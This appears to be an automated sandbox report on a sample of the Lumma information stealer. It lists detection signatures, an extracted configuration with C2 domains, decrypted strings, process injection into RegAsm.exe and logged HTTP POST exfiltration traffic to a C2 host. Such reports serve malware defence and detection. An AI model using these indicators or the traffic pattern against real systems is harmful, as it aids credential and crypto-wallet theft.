Edit tour

Windows Analysis Report
PASS-1234.exe

Overview

General Information

Sample name:	PASS-1234.exe
Analysis ID:	1429198
MD5:	91a6507a51ddcf98f542e89c58b9a17e
SHA1:	870a96273698fc67cf145a7601fc3892671eea22
SHA256:	aca438e378d0fd7abdb1fc1f7cc9acdc279dbd399fda98f8078a99a4a24e537a
Tags:	exeredlinestealer
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected LummaC Stealer

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

PASS-1234.exe (PID: 6732 cmdline: "C:\Users\user\Desktop\PASS-1234.exe" MD5: 91A6507A51DDCF98F542E89C58B9A17E)

RegAsm.exe (PID: 5104 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "sideindexfollowragelrew.pw"], "Build id": "LPnhqo--@warefromware"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: RegAsm.exe PID: 5104	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Snort Signatures

ET TROJAN Lumma Stealer Related Domain in DNS Lookup (sideindexfollowragelrew .pw) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	04/21/24-09:04:55.909755
SID:	2049958
Source Port:	55278
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 1.2.RegAsm.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "sideindexfollowragelrew.pw"], "Build id": "LPnhqo--@warefromware"}

Multi AV Scanner detection for domain / URL

Source: sideindexfollowragelrew.pw	Virustotal: Detection: 23%	Perma Link
Source: sideindexfollowragelrew.pw	Virustotal: Detection: 23%	Perma Link
Source: tolerateilusidjukl.shop	Virustotal: Detection: 14%	Perma Link
Source: https://productivelookewr.shop/api	Virustotal: Detection: 14%	Perma Link
Source: https://productivelookewr.shop/apis	Virustotal: Detection: 9%	Perma Link

Multi AV Scanner detection for submitted file

Source: PASS-1234.exe

Virustotal: Detection: 33%

Perma Link

Machine Learning detection for sample

Source: PASS-1234.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: demonstationfukewko.shop
Source: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: liabilitynighstjsko.shop
Source: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: alcojoldwograpciw.shop
Source: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: incredibleextedwj.shop
Source: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: shortsvelventysjo.shop
Source: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: shatterbreathepsw.shop
Source: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: tolerateilusidjukl.shop
Source: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: productivelookewr.shop
Source: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sideindexfollowragelrew.pw
Source: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000001.00000002.1747486028.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: LPnhqo--@warefromware

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0041545B CryptUnprotectData,

1_2_0041545B

Source: PASS-1234.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49749 version: TLS 1.2

Source: PASS-1234.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: C:\befqhkpyn\Knonzzz.pdb source: PASS-1234.exe

Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D95B4B FindFirstFileExW,		0_2_00D95B4B
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D9602F FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_00D9602F

Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_00DFC0C8
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 4x nop then cmp word ptr [esi+ebx], 0000h	0_2_00DE0718
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 4x nop then mov ecx, dword ptr [esp+34h]	0_2_00DFC9C8
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 4x nop then cmp word ptr [ebx+ecx], 0000h	0_2_00DE0C58
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_00DE0C58
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 542C2D52h	0_2_00E01858
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 15BD542Ch	0_2_00E01C08
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00DE2388
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 4x nop then mov edx, dword ptr [esp+00000080h]	0_2_00DE69B8
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 4x nop then mov byte ptr [edx], cl	0_2_00DCF8A8
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_00DCFD58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	1_2_0041507B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	1_2_004173DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [ebx], cx	1_2_004173DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+20h]	1_2_0041545B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [edi+0Ch]	1_2_00402570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+00000080h]	1_2_00420580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 15BD542Ch	1_2_0043B7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	1_2_00425878
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	1_2_00409920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	1_2_004209C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	1_2_00435C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	1_2_00438E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_0041BF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, eax	1_2_00406060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	1_2_00424085
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	1_2_00414170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	1_2_0042410D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_00422C09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	1_2_00439256
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	1_2_00439254
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [esi+ebx], 0000h	1_2_0041A2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_004232F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_00422BCC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], dl	1_2_00424397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000810h]	1_2_00424397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000A10h]	1_2_00424397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	1_2_00424397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], dl	1_2_00424394
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000810h]	1_2_00424394
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000A10h]	1_2_00424394
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	1_2_00424394
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_004393B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_004393B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], cl	1_2_00409470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 542C2D52h	1_2_0043B420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000810h]	1_2_00423D4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000A10h]	1_2_00423D4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+70h]	1_2_00423D4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+34h]	1_2_00436590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ebx+eax+02h], 0000h	1_2_00417770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+30h]	1_2_0041085D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ebx+ecx], 0000h	1_2_0041A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	1_2_0041A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_0040FA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_0041AB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [ecx], dx	1_2_00413C7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_00413C12
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_00413AF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [eax+edi], 00000000h	1_2_00422CDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then lea eax, dword ptr [edi+04h]	1_2_00422CDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then add ecx, dword ptr [esp+eax*4+30h]	1_2_00407C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	1_2_00410DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [ecx], dx	1_2_00413EF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	1_2_00431F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, dl	1_2_00433F1A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, dl	1_2_00433F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], al	1_2_00415F38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx esi, bl	1_2_00439FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov bh, byte ptr [esi+ecx]	1_2_00421FA5

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2049958 ET TROJAN Lumma Stealer Related Domain in DNS Lookup (sideindexfollowragelrew .pw) 192.168.2.4:55278 -> 1.1.1.1:53

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: demonstationfukewko.shop
Source: Malware configuration extractor	URLs: liabilitynighstjsko.shop
Source: Malware configuration extractor	URLs: alcojoldwograpciw.shop
Source: Malware configuration extractor	URLs: incredibleextedwj.shop
Source: Malware configuration extractor	URLs: shortsvelventysjo.shop
Source: Malware configuration extractor	URLs: shatterbreathepsw.shop
Source: Malware configuration extractor	URLs: tolerateilusidjukl.shop
Source: Malware configuration extractor	URLs: productivelookewr.shop
Source: Malware configuration extractor	URLs: sideindexfollowragelrew.pw

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: productivelookewr.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 62Host: productivelookewr.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18171Host: productivelookewr.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8792Host: productivelookewr.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20445Host: productivelookewr.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7092Host: productivelookewr.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1417Host: productivelookewr.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 584469Host: productivelookewr.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: sideindexfollowragelrew.pw

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: productivelookewr.shop

Source: PASS-1234.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: PASS-1234.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: PASS-1234.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: PASS-1234.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: PASS-1234.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: PASS-1234.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: PASS-1234.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: PASS-1234.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: PASS-1234.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: PASS-1234.exe	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: PASS-1234.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: PASS-1234.exe	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: PASS-1234.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: PASS-1234.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: PASS-1234.exe	String found in binary or memory: http://ocsp.digicert.com0H
Source: PASS-1234.exe	String found in binary or memory: http://ocsp.digicert.com0I
Source: PASS-1234.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: PASS-1234.exe	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: RegAsm.exe, 00000001.00000002.1747903838.0000000001562000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.1747804223.00000000014FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.1747804223.00000000014F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://productivelookewr.shop/
Source: RegAsm.exe, 00000001.00000002.1748220978.00000000037C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://productivelookewr.shop/api
Source: RegAsm.exe, 00000001.00000002.1748220978.00000000037C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://productivelookewr.shop/apis
Source: PASS-1234.exe	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.250:443 -> 192.168.2.4:49749 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0042DBB0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_0042DBB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0042DBB0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_0042DBB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0042E1F7 GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

1_2_0042E1F7

Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D48318	0_2_00D48318
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D7487A	0_2_00D7487A
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00DFC9C8	0_2_00DFC9C8
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D74C94	0_2_00D74C94
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D750C0	0_2_00D750C0
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D8125D	0_2_00D8125D
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00DFD238	0_2_00DFD238
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00DA13FF	0_2_00DA13FF
Source: C:\Users\user\Desktop\PASS-1234.exe	Code function: 0_2_00D754DA	0_2_00D754DA
